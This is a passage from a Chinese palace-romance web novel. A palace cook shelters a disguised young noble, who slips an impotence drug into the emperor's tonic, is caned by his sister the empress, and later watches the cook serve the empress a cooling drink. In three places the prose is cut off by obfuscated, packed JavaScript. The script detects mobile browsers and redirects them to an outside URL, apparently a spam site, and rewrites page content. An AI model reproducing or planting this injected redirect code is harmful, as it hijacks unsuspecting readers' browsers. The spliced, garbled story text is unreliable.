东宫的太监，陈叶顿了顿，“你且等一等，灶火已经熄了现下只能用炉火了，趁着看炉火的公公还没来，我给你煮碗清水面，你将就着吃吧。” 她深知在这宫里要想活得下去，就必须和各方人员打好关系。万一不小心得罪了什么人，人家气急在背后捅一刀，自己什么时候死的都不知道。同理，若是能够与人为善，有朝一日自己落难，不说一定会有人相助，但一定不会落井下石。他现在虽是东宫无权无势得小太监，可难保日后不会有什么作为，锦上添花易，雪中送碳难呐。 “多谢姑姑，多谢姑姑。”小太监闻言，重重磕了几个头。 “不必如此，你也别跪着了，都是下人，你起来吧。”陈叶仿佛看见了那日为自己磕头求情的银叶，心中升起不忍。这小太监虽然看上去个子不矮，但佝偻着背，衣服也都是尘土，可见他说的不假，平日里应当也就是个干粗活杂活的，没得过什么好待遇。 “谢过姑姑。”白肃清低着头站起来，做足了一个卑微小太监的模样。 姑姑？陈叶摸了摸自己的脸，不由得开始怀疑自己，难道真的有这么老吗？ 思虑再三，还是开口了，“还是叫我陈叶姐姐吧，你叫什么？” 白肃清：“姐姐叫我小青子就好，青草的青。” “小青子，你且在这外头等着。”炉火在里间，里间是女官们为皇上还有各宫妃嫔制作吃食的地方，陈叶在里间也只有打下手的份。她 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王尚宫只觉得眼前的小太监身形十分眼熟，但又不敢确定，只道，“抬起头来。” 白肃清别无他法，只得抬起自己满是灶灰的脸，赶在王尚宫说话之前说道，“见过尚宫，奴才原是东宫打杂的小太监，实在饿极了这才跑到膳房求这位姐姐给些吃的。奴才再也不敢了，请尚宫饶过陈叶姐姐吧。” 即便是白肃清的脸抹着灶灰，看上去狼狈不堪，但王尚宫还是认出了这就是皇后娘娘的幼弟，国公府千娇百宠的小国舅。当然她也听出了白肃清的言外之意，这是在说不要暴露他的身份以及......这件事和陈叶没有关系，让自己不要责罚她。 王尚宫很是意外，这小国舅虽说不着调，但自幼由皇后娘娘抚养。自己从小便跟在娘娘身边，也算是看着小国舅长大的，深知他品性不差。只是喜欢招猫逗狗、走街串巷罢了，旁的女色、酒色不该沾的是一样不沾。怎么今日竟和这膳房的宫女走得这般近？ 王尚宫且按下心中所想，小国舅来此必有他的道理，自己也不好多说些什么，只能装作不认识他，“都起来吧，本尚宫向来宽容待下，既是饿了，陈叶你便去给他些吃食，吃完便走吧。至于东宫那边，本尚宫会去问责的。另外，今日之事任何人不得外传。”说到最后，王尚宫的语气重了几分。 “是，奴婢明白。”陈叶明白这是在敲打自己，只当王尚宫是为了太子的名声着想。一屋不扫何以扫天下，倘若太子连自己宫里的小太监都没法管好，将来又如何管理整个国家。这要是让朝臣们知晓了，他们便会疑心太子能否担当储君大任，能否做他们将来的君主。 王尚宫在膳房巡视一圈便带着人走了，陈叶松了一口气，双腿发软，她已经没有脑子再去想为何素日严厉的王尚宫今日如此好讲话，只想着既是在王尚宫那里过了明路，尚宫也未曾怪罪，便可将心放回肚子里了。看着一脸灰的小青子，陈叶拍了拍他的肩膀，“小青子啊小青子，还好你是东宫的太监，若是别的宫里的，我今日怕是怎么死的都不知道。” 才来多久啊，就已经经历几次死局，陈叶下定决心以后不该管的事情还是少管，要帮人也要量力而行，绝对不能再把自己置于危险之地了。 4. 下药 陈叶躲过一劫，白肃清却没完，他最想做的事情还没做成呢！反正自己已经被王尚宫看见了，无论如何都逃不过阿姐一顿责骂。既然如此，这药他今天还非下不可！ “那个......陈叶姐姐，我已经一整日没吃东西了......”白肃清暗戳戳地提醒陈叶。 陈叶才想起自己还未给小青子吃食，依旧叮嘱，“你就在这里等着，我做好给你端出来。” 眼见自己进里间无望，白肃清心道：这人也忒精了，我都扮得这样可怜了竟然还防着我，倒是个滴水不漏能成大事的。 里间，陈叶回忆着面条的做法，先将面粉揉成团，再用擀面杖将其擀成薄片，最后用刀切成细细的面条。热水炉火上就有，在水中加了些盐后，将面条往滚水里一放，盖上盖子就可以开始在碗里调味了。素面的调味很简单，一小块猪油、一小块酱油膏、再来些许盐就够了。 不多时，水沸了，陈叶打开盖子，一股面香扑鼻而来。舀起一勺面汤，将碗中的调料化开，再夹起面条放入碗中，一碗清汤素面便做好了。 陈叶端着素面出来，递给白肃清，“来，小青子，趁还没交班快些吃。虽然咱们在王尚宫跟前过了明面，可若是碰上了值班姑姑和看炉火的公公，我依旧是不好交代的。” 白肃清接过碗与筷子，看了一眼只有面上浮了几滴油星子的素面，一时不知该不下嘴。他这辈子锦衣玉食何曾吃过这样寒酸的吃食，实在是看着就难以下咽。 但陈叶就在一旁看着，自己若是不吃定然会引起怀疑，眼睛一闭，筷子挑起面条就往嘴里送，咬断一嚼，“嗯？” 好像还不错，再来一口，白肃清眼睛都亮了，“嗯！” 随后便是狼吞虎咽，还伴随着几句含糊不清的夸奖，“陈叶姐姐你做的面条真好吃。” 陈叶看他吃得急，哭笑不得，又怕他烫着，“你慢些，别烫着了。” 白肃清将面吃了个精光，连汤也没剩下。 “你吃饱了吗？没饱的话还有些面汤，我盛来给你填填肚子？” 看着干净如新的碗，向来厚脸皮的白肃清红了脸，不过还好他脸上还有灰挡着，陈叶看不见，他恋恋不舍地将碗还给陈叶，“不了，我已经很饱了。再说我离开东宫已经有些时间了，再不回去怕是又要挨大太监们的训了。” 又想着做戏应当做全套，照着自己看过的话本子的模样道，“姐姐今日好心小青子没齿难忘，日后姐姐若有需要，我必定赴汤蹈火，万死不辞！” 陈叶心下一喜，等的就是这句话啊！不过她也不能就这样应下，协恩图报最容易让人反感了。她一副大姐姐的模样柔声道，“这是说的什么话，不过是一碗面而已。你今日回去且再忍忍，尚宫向来说一不二，她既说了会去东宫惩治那些仗着资历欺负人的大太监便一定会去。待她惩治过那些人后，你的日子便能好过些了。” “姐姐说的是，那我就先走了。”小青子走出膳房，陈叶随着他一起出去。 “欸，路上小心些。”陈叶看着白肃清的身影消失在自己眼前，才又进了膳房收拾好一切，等着人来交班。 白肃清硬着头皮走出陈叶的视野，找了一个没人的角落，飞身一跃到树上找了个好视野监视起膳房。既然陈叶这里没法下手，那就等交班来看炉火的太监，从他那里下手。他不相信这宫里尽是这样滴水不漏的聪明人！ “姑姑，公公。”值夜姑姑与看炉火的公公品级都不高，不过资历确实比陈叶老，陈叶需得敬重些。她分别行了一礼，再将具体情况与来接班的姑姑和太监说了清楚。 两人表示理解，“陈叶姑娘慢走。” 白肃清远远看着陈叶离开，心道这人可算走了，等得小爷腿都麻了。 该怎么进去呢？白肃清嘴里叼着根树枝，细细思索起来。 要不是今日不小心勾到了那根柴，自己可能早就完成任务，回去躺在床上睡大觉了。 柴！ 白肃清的眼神放在膳房外墙边堆着的半墙方便取用的柴火，心下有了主意。 他伸手一掏，从树上的鸟窝中掏出两只毛还未长全的幼鸟，“刚才你们的父母给小爷的衣服浇了肥，小爷没和你们计较，现在到你们报答小爷的时候了！” 白肃清脚一点，飞身到膳房墙边，把幼鸟放在柴火后面，幼鸟离开了巢穴，开始不安地叫唤。 值夜姑姑成功被吸引了过去，就是这时，白肃清弹了个石块到值夜姑姑脚底，值夜姑姑一个没走稳，手撑上了一旁的柴火堆，“啊！” 柴火堆应声而倒，值夜姑姑也摔得不轻。 屋里看炉火的太监也被引了出来，一见值夜姑姑摔倒在柴火里，赶忙过来扶起，“姑姑，这是怎么了？” “这柴火不知怎得摆得这样不稳，我不过是没走稳撑了一把，竟直接倒了。”值夜姑姑起来，看着这散落一地的柴火，就这样放在这肯定是不行的，只能叹了口气开始堆柴火。 看炉火的公公也不好走开，便和她一块捡了起来。 白肃清一看，成了！溜进了膳房里间。 找到了德妃为皇上准备的补汤，装在一个精致的炖盅里，还在炉火上温着呢。 白肃清轻手轻脚打开炖盅，啧啧，这样补起来也不怕把身子补坏。 不对，他身子坏了才好！他这样的人，什么坏事发生在他身上都是活该！ 哼，可算让小爷逮到机会了！白肃清从袖子里掏出一个小纸包，里面装着白色粉末，想起宫外大夫的叮嘱，这药不可多用，否则会使男子终身丧失能力，只倒了一点下去。 但转念一想自己这样好的阿姐被他那样嫌弃，又觉得不解气，一咬牙全倒进了炖盅。怕这些粉末溶得不彻底，白肃清顺手就用自己嘴里叼过的树枝搅和搅和，直至炖盅看不出任何异样这才趁着夜色回了东宫。 他走时，膳房外那两人还在捡着柴火。 “陈叶姐姐，怎么回的这样晚？我和彩叶都急死了，你再晚一些我们可就要去膳房寻你去了。”陈叶刚走到屋前，银叶与彩叶便迎了上来。 听银叶这样说，彩叶不自觉看向别处，“急的是你，我可没急。” 陈叶拉过两人的手，“交班倒是不晚，大约是我走得慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323127|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，路上费了不少时间。” “谁让你身子没好全就这样折腾......”彩叶嘀嘀咕咕，但始终没抽开自己的手。 三人进了屋，碧云周身围了一群人，她正在给同屋的宫女们分零嘴，“呦，陈叶回来啦。来来来，快来尝尝，我今日新得的零嘴，是宫外最有名的王记。” 王记，银叶一听，咽了咽口水。她听过王记，据说是有祖传的秘方，做出来的果脯韧而不硬、甜而不腻，糕点酥脆又不糊嘴，宫里许多主子也喜欢的很，常花银子差使采买的宫人带进来。她是真的很想吃，可这碧云说话实在令人不舒服，这样明显的针对陈叶，她不喜欢。 银叶刚想拒绝碧云，陈叶按住了她，“早就听说宫外的王记出名，没想到碧云姐姐连这也能弄到，那妹妹今日可有口福了。”说着陈叶一连抓了三把满满的果脯，彩叶、银叶、自己各一把。 既是送到眼前的吃食，为何不拿？何况还是价格不便宜的东西，无论如何都是自己占了便宜。这样打肿脸充胖子的人陈叶见得也多，若是自觉难堪退缩，反倒会让对方得寸进尺。 果脯放在银叶手里时，陈叶还道，“银叶，你对零嘴最有研究了，赶紧多尝尝。对了，别忘了谢谢碧云姐姐，不然我们今日可没这口福。” 看着所剩无多的果脯，碧云脸都要气绿了，自己可是花了大价钱呢，竟然就这样被陈叶抓走大半。 可对着陈叶三人的道谢，她竟什么也不能说，本就是自己主动请陈叶来尝尝的，自己不占理啊！ 白肃清躲开人，悄悄回了自己的房间。但刚关上门，年仅七岁的太子突然冒出来，吓了他一跳，“小舅舅！你去哪了？”。 白肃清一看这小鬼头竟然溜到自己房里来了，敷衍道，“方便去了。” “方便要这么久的时间吗？我在房里可是等了你足足一个时辰！而且小舅舅，你不仅衣服不对，就连脸都变成花猫了。实话实说，你是不是干坏事去了？”太子不信，绕着白肃清一边分析一边提问。 “你还真是人小鬼大，现在不仅哄骗不到你了，还要做那包青天拷问起我来？”白肃清坐下给自己倒了一杯茶，今日在树上蹲了那么久，真是苦了自己了。 小太子也坐下，摇头晃脑，“包青天我倒是做不得，但狄仁杰我今夜倒是有机会做。” “哦？狄仁杰？那你想不想知道狄仁杰是如何破解令人闻风丧胆的妖术案的？。”白肃清变换了语气，颇有股说书先生的味道。 小太子被勾起了兴趣，脆生生道，“想！” “那就赶紧躺好，否则我可不讲了。” 小太子赶紧爬上床，拉好被子，仰着脸看着白肃清，“我躺好了，小舅舅你快讲吧~” 太子到底还小，白肃清讲了没一会，便睡着了。白肃清把他抱回寝殿，又给他拉好被子，叮嘱值夜的宫人上些心，便回了自己房中。今夜可得好好休息，明日才能扛得住阿姐的怒火。 东宫一大一小睡得安稳，可德妃宫里就没那么温馨了。 深夜，德妃宫中传来当朝皇帝的怒吼，“滚出去！统统给朕滚出去！” 5. 挨打 白肃清一觉睡到天光大亮才爬起来，洗漱过后，叫人摆了早膳。不知为何，看着这一桌珍馐，他竟会想起昨日那宫女做的素面。 不就一碗素面？小爷什么珍馐没吃过，还稀罕那玩意？何况昨日要不是那宫女，自己早就回来了，说不定还不会碰见王尚宫！想到这，白肃清心里忿忿起来，也不想什么素面了，只想着赶紧吃饱，待会阿姐肯定要差人来找他。 用完早膳没多久，王尚宫便来了。 “见过小国舅。”王尚宫跪下行了个大礼。 白肃清坐直身子，清了清嗓子，“起来吧。” “国舅爷，皇后娘娘有请，还请国舅爷随下官走一趟。”王尚宫站在下位，恭恭敬敬。 “知道了，走吧。”白肃清理了理衣摆，端起架子，昂首挺胸。他白肃清就算是去挨批，也绝不会旁人看一丝一毫的笑话。 凤仪宫主殿外，王尚宫立在门口，“国舅爷，娘娘就在里面等你。” “小爷知道！”白肃清两股战战，看来阿姐这是真动怒了，连宫人都提前屏退了。 殿内空无一人，只有一名容貌昳丽，身着华服女子端坐堂上。这便是大庸皇后，白肃清的亲姐姐白肃云。 “微臣拜见皇后娘娘。”白肃清知道自己免不了一场骂，老老实实地给白肃云行礼。 “哼，一夜不见，我们这是连姐弟都要做不成了？”白肃云看着堂下恭恭敬敬的幼弟，无奈轻抚额头。 母亲早丧，幼弟没有母亲的教导，父亲与大哥又整日忙于公务，照料不到太多，他算是由自己抚养长大的。自己还待字闺中时，幼弟便是自己的跟屁虫，自己干什么他就干什么，自己去哪里他就去哪里。可以说白肃清一撅屁股，她白肃云就知道这臭小子要放什么屁！现在这么老实，定然是做了不敢让自己知道的事！ 白肃清一听急了，连忙站起来就要走到白肃云身边去，“阿姐！” “让你起来了吗？给我跪着！你且说说，你昨晚去干了些什么？绿意怎会在尚食局碰见你？” 王尚宫原名王绿意，是国公府的家生子，亦是白肃云在闺中时的贴身侍婢及玩伴。先帝临终前，让皇上将其定为三局尚宫，辅佐皇后掌管后宫。绿意性子沉稳，刚柔并施，尚宫之位坐得极为稳当，是白肃云的得力助手。 “去给他下药去了！”白肃清虽然理亏，可却没有丝毫收敛。这个“他”便是白肃清的姐夫、当朝皇上，李南枫。 “什么药？”白肃云眼皮一跳，预感没什么好事。 白肃清深知自己今日逃不过这一劫，索性破罐子破摔，挺直腰杆，中气十足地回，“禀皇后娘娘，是让男子不举的药！” “你说什么？白肃清！”白肃云明显被气着了，竟有些不顾仪态指着白肃清，“你一个还未成家的儿郎，哪里得的这样邪门歪道的东西！” “你......你简直是愈发无法无天了！”白肃云越想越气，也顾不上什么皇后仪态了，抄起一旁藏着的藤条就要招呼在白肃清身上。 白肃清也不知自己的阿姐是从哪抽出来的藤条，他刚刚明明打量过了，殿中没有藤条他才这么理直气壮地回的。现在看见藤条，小时候挨打的记忆全都浮现在脑海，不行！还是得躲！太痛了！ 白肃清见自己姐姐气势汹汹，连忙后退好几步，在殿中寻找可以躲藏的地方。 “躲？你还敢躲？你再躲我就让大哥进宫把你领走！”白肃云着实是被气狠了，昳丽的面容都掩不住怒气。 想到自己大哥的臭脸和父亲的家法，白肃清抖了抖，讨好道，“不躲了！阿姐，我不躲，你下手轻些可好？” “你当我是卖菜的大娘不成？还讨价还价？” “阿姐！阿姐！手下留情！手下留情啊！”白肃清的哀嚎并没有唤起白肃云的母爱，她下手更重了。 白肃云下定决心要给白肃清一个教训，倒不是因为担心皇帝的身子，反正她已经有了川儿，再加上父亲与哥哥在朝中的地位，任何人都没法撼动她的位置。甚至于她而言，皇帝死的越早越好，这个人再多碰她一次她都觉得恶心。 她真正担心的是白肃清，都说近朱者赤近墨者黑，白肃清在宫外那样多的狐朋狗友，现在还能搞到那种上不得台面的东西，她是怕他误入歧途悔之晚矣啊！母亲早逝，她亲手将一个奶娃娃带到这样大，费的心血不比川儿少。想起往事，白肃云红了眼眶。但一看不知何时躲到柱子后鬼鬼祟祟想逃的白肃清，又是气不打一处来。 “父亲与大哥朝堂事务繁忙，管不住你，才将你送进宫来由我管教。你倒好，是不出去吃喝玩乐了，是诚心来气我来了！现在我这小庙是容不下你这尊大佛，明日你就出宫去！待你出宫我便让大哥断了你的月银，你给我呆在家里好好看书，明年春闱你若是没有上榜，有你好看的！”白肃云边打边说，打累了才歇下来。 白肃清揉着屁股，龇牙咧嘴，怎么阿姐今日打人这般痛？难道是因为自己太久没挨打？ “阿姐，你知道我对科举没兴趣，更何况咱们这样的人家，也不需要我再去官场上搏些什么。” 白肃云看着幼弟桀骜不驯中还带着稚气的脸庞，语重心长，“阿清你已经十五了，再有五年就要及冠了。大哥像你这般大的时候，已经高中状元了。咱们家确实不需要你去搏什么荣华富贵，可读书明理你是必须要做的。而且你不能只看表面，咱们家现在确实如日中天，可三十年河东三十年河西这个道理你必须懂得。父亲与大哥是我们家的顶梁柱，可父亲已经老了，他日父亲若是驾鹤西去，家中便只剩下大哥一人在朝堂中撑着了。” 白肃清并非不明理，只不过父亲与大哥从未与他说过这些，他们甚至连交谈都很少，现在白肃云挑明了说，他又不蠢，自然什么都明白了，“阿姐......我明白了，我这就收东西出宫。他至少一个月没办法来烦你了，阿姐，你保重。” 白肃清跪下扣了个首，站起来便要走。： 听白肃清这样说，白肃云猛然明白过来，幼弟做这事不是因为顽劣，而是为了自己。她不知幼弟是如何知晓他的为人的，可她必须与幼弟讲清楚，否则姐弟之间有了隔阂，想修复就难了，“站住！阿姐知道你是为了给阿姐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323128|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，可这样的事太冒险了。若昨日不是绿意，而是其他眼熟认识你的人，任谁都可以怀疑你动机不纯。万一那些认出你的人拿这事做文章，你又当如何？这样危险的事情往后不要再做了。如今阿姐与他是相看两厌，可若没有我们家，他这个皇位也不会坐得如此稳当，他不敢废了我，亦不敢将他那些恶心的手段用到我身上。阿姐的倚仗是白家，是父亲、大哥和你，你可明白？” 白肃清云循循善诱，“你这几日给我好好反省，川儿上课你便跟着一起上，川儿吃饭你便跟着一起吃，川儿睡觉你便跟着一起睡！总之，川儿干什么你就干什么！” “阿姐，你的意思是我可以不出宫了？”倒不是宫里有多好玩，其实宫里没意思得很，可宫里有阿姐和川儿，多少都能陪自己说话解闷。宫外，父亲与大哥整日不着家，就算回家也说不上几句话，尤其是老头子说不了两句就对他吹胡子瞪眼，又不让他出去玩，嫌他整日招猫逗狗，无趣得很。 “嗯。” 见白肃云改了口风，白肃清又开始试探，“那阿姐，那些我都学过了，再学一遍着实没意思。” 白肃云闭上了眼，果然对白肃清心软不得，他就是给点阳光就蹬鼻子上脸！深吸口气，忍住怒气，“书不怕多读，学过了你也给我坐在那里听夫子讲！不想听就自己坐在那里看书，看不懂就问夫子，川儿的老师都是大学士，还解决不了你的问题？反正不许你再搞这些不着调的东西，若有下次，我就让大哥来宫中把你领回去！” 见姐姐又要动怒，白肃清极为有眼色地打包票，“阿姐，我看！我一定好好看！” “行了，你走吧，别在这里碍我的眼。”白肃云揉揉太阳穴，挥手示意让白肃清走。 殿外，王尚宫见白肃清一瘸一拐地出来了，立马低头，“恭送国舅爷。” 白肃清没说话，但却停下来理了理自己的衣裳，随后忍痛站直又昂首挺胸地走了。 “绿意，进来。” 殿里，白肃云唤王尚宫进去。今日忙着问白肃清的话，宫务都还未与王尚宫对过。 “娘娘，宫里人都传皇上昨夜在德妃宫中发了好大的脾气。”绿意并不知白肃清给皇上下药一事，只当皇上是真的不行了。说实话，如果皇上真的不行了，她挺高兴的。 “传令下去，让各宫的人都闭上嘴，不许传这样的闲言碎语。”那人的性情越发暴躁了，若是听到宫人这样议论自己，阖宫怕是不得安宁，不知道又要死多少下人。 “是。”王尚宫应下，知道这也是为了那些宫人好。 “你说昨日在膳房还看到一名宫女与阿弟在一起，这人如何，心思可正？” “她是李掌膳手底下的人，名唤陈叶。李掌膳是个做实事的，至于她，下官并不清楚，想来不会差。还有一事，不知娘娘可还记得，淑妃前些日子为难的那个宫女，就是她。她应当是不知晓国舅爷的身份，只当国舅爷是小太监。昨日还帮国舅爷打掩护来着。” 白肃云心下有了分寸，“找个合适的由头把她叫来，让本宫见见。” “下官遵命。” 6. 大领导 一连几日，陈叶都趁着交班这段时间练习刀功和厨艺。几日下来，对厨具使用的熟练程度不说与原本的陈叶一模一样，也算是有了个七八分像。她身子也好的差不多了，和李掌膳报备过后就开始正式在膳房当值。 当值第一天，陈叶跟着大部队一起洗漱，列队，行至膳房，然后听从上峰的安排。今日是银叶在里间给李掌膳打下手，陈叶在外间掌勺做宫女太监们的饭菜。 早上还好，陈叶忙得过来，不过是煮几锅粥，蒸几笼馒头的事。到了中午，日头起来了，外头本就热，膳房里头再各种灶火炉火一烧，更是热得像蒸笼一样。在这样的情况下还要手脚不停，陈叶热得一身的汗，膳房里的其他宫女也是一样。但都没有停下手头的活，要是耽误了宫人们放饭，这罪过她们中没有人能担得起。 之前一人在膳房练手，又是日头将落的时候，根本不觉得膳房拥挤或是湿热，甚至还觉得有些空荡。可今日正式当值，人一多，就湿热难受起来了。 就在陈叶忙得团团转时，膳房外传来喊声，“陈叶姑娘可在？” 被点名的陈叶一个激灵，放下手中的活，出来应道，“奴婢在。” “听说你制饮子的手艺不错，尚宫让你赶紧制一份清爽解暑的饮子送过去。”那名传话的宫女道。 “是。”既是尚宫的要求，陈叶就算现在忙得焦头烂额也得挤出时间去将那饮子制出来。 陈叶看着眼前还未做好的菜，叹了口气，这都是什么事嘛！ 碧云今日也在外间做事，明明自己也忙得焦头烂额，可看见陈叶犯难就仿佛自己的活都不算活了，竟还有心思挤兑陈叶，“这饮子还真是好喝啊，淑妃饮完尚宫饮，就是不知道这回制饮子是被赏还是被罚喽。”说完，便自顾自咯咯咯地笑了起来。 这声音，怪聒噪的。陈叶现在没心情与她拌嘴，若是她有时间定要将碧云这人说得连话都讲不出。 关键时刻，彩叶挤开碧云，“你先去吧，现在最繁复的活差不多都已经结束了，就是看灶、调味、打菜而已。我的灶头就在你的灶头旁边，你的活我先替你干着。制饮子而已，于你而言不算难事，若是你动作够快，做完了再回来便是。” 彩叶看出了陈叶的窘迫，毕竟现在正是做餐食的高峰期，要是到了放饭时间没做好自己分内的菜，是要挨责罚的。 听见这话的陈叶，焦急的心头如逢甘霖，这简直就是天籁之音！有这样的同事真好！ 陈叶盯着彩叶含情脉脉，“彩叶姐姐，你真好~” “够了......再说话你自己来做。”彩叶板着脸，但耳朵却是红透了。 陈叶默默拉上了嘴上的拉链，抓紧时间去制饮子去了。 今年苦夏，比往年热了不少，天一热人就容易烦躁，易生心火。陈叶打算用绿茶、蜂蜜、柚子还有柠檬快速地做一份冰饮出来。柚子的微苦、柠檬的酸都可以很好地被蜂蜜的甜综合掉，但又不至于完全消失，加上绿茶回甘，冰块凉爽，这样做出来的冰饮解渴又消暑。总之是给尚宫喝的，尚宫一向宽待宫人，只要不犯大错应当不会有什么大问题。 饮子制好，还得送过去。陈叶将饮子放入放着冰的食盒，赶着脚程送到尚宫局。王尚宫虽然掌管三局，但办事的地方是在尚宫局内。不过还好离得不远，陈叶赶过去再赶回来估计还能赶上膳房这边的收尾工作。 奈何准备永远比不过变化，陈叶刚到尚宫局便被守门的小太监拦下了。 小太监告知陈叶，尚宫一刻钟前被皇后娘娘宣见，现已去了凤仪宫。 陈叶一听，还有些心喜，不用面见大领导简直就是打工人日常生活中最大的喜事。 便劳烦看门的公公将饮子送进去，自己在膳房还有活没做。 但看门的小太监一听陈叶送的是饮子，又道，“尚宫临出门时说了，若有尚食局的宫女来送饮子，便让她送到凤仪宫去。姑娘，你看你还是再走一趟吧。” 陈叶的心又跌回谷底，这么一番折腾，她不会傻到真的认为是尚宫觉得自己饮子做的好，才让自己做了给她送来。不知情的人，也许会这样认为，并且只觉得是陈叶不凑巧，没赶上尚宫的脚程，这才需要多跑一趟到凤仪宫。可陈叶心里清楚，肯定不是这样的，估计是为了前几天那小太监的事。 一路上，陈叶心里万分坎坷，皇后娘娘这么做究竟是为了什么？若她想见自己，打发个人来传旨便是，自己还能不去不成？怎么会这样几经周转？ 凤仪宫宫门下，陈叶仰天而望，好不容易过了几天安生日子，怎么又要见大领导，而且是大领导之上的更大的领导。她不想见大领导，她只想安安静静升官发财养老啊，心好累，好想现在就退休。 下一秒，陈叶深吸一口气，迈进了凤仪宫。 “奴婢拜见皇后娘娘，娘娘千岁千岁千千岁。见过尚宫。”空旷的大殿，陈叶一人跪在堂下，姿态很是卑微。 不管如何，在大领导面前，夹紧尾巴做人总归是不会错的。 白肃云没有立刻叫起，而是端详了一阵，才缓缓道，“起来吧。” “谢皇后娘娘。”陈叶膝盖都酸了，但却不敢表现出任何异样。都还不知道皇后召见自己是为了什么，她可不敢轻举妄动。万一是像淑妃一样纠错处来了，想找个借口杀自己灭口，想到这，陈叶又更谨慎了几分。 “绿意说你做的饮子很是不错，本宫宣她来与本宫对账她都不肯割舍，这才让你多跑一趟送来了凤仪宫。今日本宫碰上了，便让本宫与绿意一起来尝尝你这饮子，端上来吧。” “是。不过奴婢准备的碗不够。”陈叶将食盒中的饮子端出，还好她早有准备，为防止王尚宫喝开心了，要用饮子赏下面的女官，特地多做了些，用小陶罐装来的。为什么不多备几个碗呢？那当然是等着赏赐者来准备，以凸显其恩惠嘛。只可惜自己算到了第一步没算到第二步，这下好了，自己即将成为有史以来第一位因碗丧生的宫女。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323129|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王尚宫听陈叶说碗不够，对着一旁的小宫女吩咐，“红霞，去取几个碗来。” “是。” 陈叶的心如同坐了过山车一般，太好了，不会因碗而死。 碗取来了，陈叶倒好饮子，端给王尚宫，再由王尚宫呈给皇后。 白肃云喝了一口，只觉得置身于林间的小溪边，夏日的燥热都被溪水冲散了，顿感清凉，“确实不错，这饮子叫什么名字？是怎么做的？” “禀娘娘，这饮子是以绿茶为底，辅以柚子柠檬蜂蜜调合而成，至于名字，奴婢还未想好。” “既如此，本宫便凑个热闹，给它起个名字，就叫柚见清茗如何？”白肃云是真的喜欢陈叶制出来的饮子。 “谢娘娘赐名。”皇后赐名，陈叶又是一跪，谢恩。 “起来吧，不必如此多礼。今日，你做出令本宫觉得可口的饮子，本宫要赏你，红霞待会你陪陈叶姑娘走一趟，将赏赐带送过去。” “谢娘娘赏赐。”陈叶再次一跪。皇后说不必多礼就真敢不跪？那可真是活腻了！ 这次有些没把握好力道，陈叶清楚地听到了膝盖与地面碰撞的声音。老天爷，膝盖疼！ 白肃云也听到了这声音，只觉得这小宫女实诚，带着笑意让她起来。陈叶刚要起来，殿内突然响起孩童的声音，“小舅舅，你快来，母后背着我们偷偷吃好东西！母后，这是什么？儿臣也想喝。”儿童稚嫩的声音响起，陈叶迅速反应，再次跪下，“拜见太子殿下，殿下千岁千岁千千岁。见过国舅爷。” 白肃清跟在小太子后头进来，一进殿就看到跪在地上行礼的陈叶，这宫女怎么在这？看样子是给阿姐做了什么好吃的，他也要尝尝，看看这宫女还有什么好手艺，随手一抬，“免礼。” 陈叶如逢大赦，总算站起来了，我的膝盖。她十分有眼色地退到一旁，现在这殿内，可就自己一个生人啊，还是躲角落别惹嫌为好。 白肃云摸着太子的头，眼里满是慈爱，“乖，母后让绿意姑姑给你倒一碗。” “绿意，给川儿和阿清都倒一碗，去去暑气。”白素云吩咐。 王尚宫照做，给太子和白肃清都端了一碗。 白肃清端起碗，碗浅，量不多，他一大口便喝得差不多了。入口是开胃的酸，后又涌上蜂蜜的甜带着茶的回甘，还真挺不错的。白肃清又给自己倒了一碗。 “母后，小舅舅是水牛。”小太子见白肃清喝得这样快，笑咯咯地说。 店内众人听了都笑了，氛围很是融洽。 陈叶也忍不住笑，不过她很有眼色，没笑出声。这个时候当然是当透明人最适合自己啦。不过也是小太子这番话，让她偷偷打量起这位小国舅。 小国舅此时又是一碗下肚，与小太子笑骂，“你个小鬼头！又在胡说八道！” 陈叶只觉得这人十分眼熟，自己好像在哪里见过。可照小太子的叫法，此人应当是小国舅，自己又怎会见过小国舅呢？ 7. 得赏 “阿清，这饮子虽然爽口，但也不可贪多。” “知道了，阿姐。” 听着小国舅的声音，陈叶又摇了摇头，两人声音不太像，小青子的声音尖细略带些阴柔，而这小国舅的声音是正常少年应有的清朗，说实话有些好听。 白肃云看着已经喝了几碗饮子的白肃清，心下有了主意。阿弟心智还未成熟，若是一时间压得太紧，反倒会适得其反。这宫里无趣得很，他喜欢扮小太监便就让他扮了，只要不做什么危及性命的事就好。 “对了，绿意，之前那个叫小青子的太监可安顿好了？” “是，已经安顿好了，现在改名叫小凳子，在国舅爷房里伺候着。” 听白肃云与王尚宫这样一说，白肃清立马就反应过来阿姐今日把这陈叶叫过来的意图，哪是吃什么好东西，而是为了警告她不要多嘴。可警告的方式有很多种，阿姐为何要特地安排一个小凳子出来？ 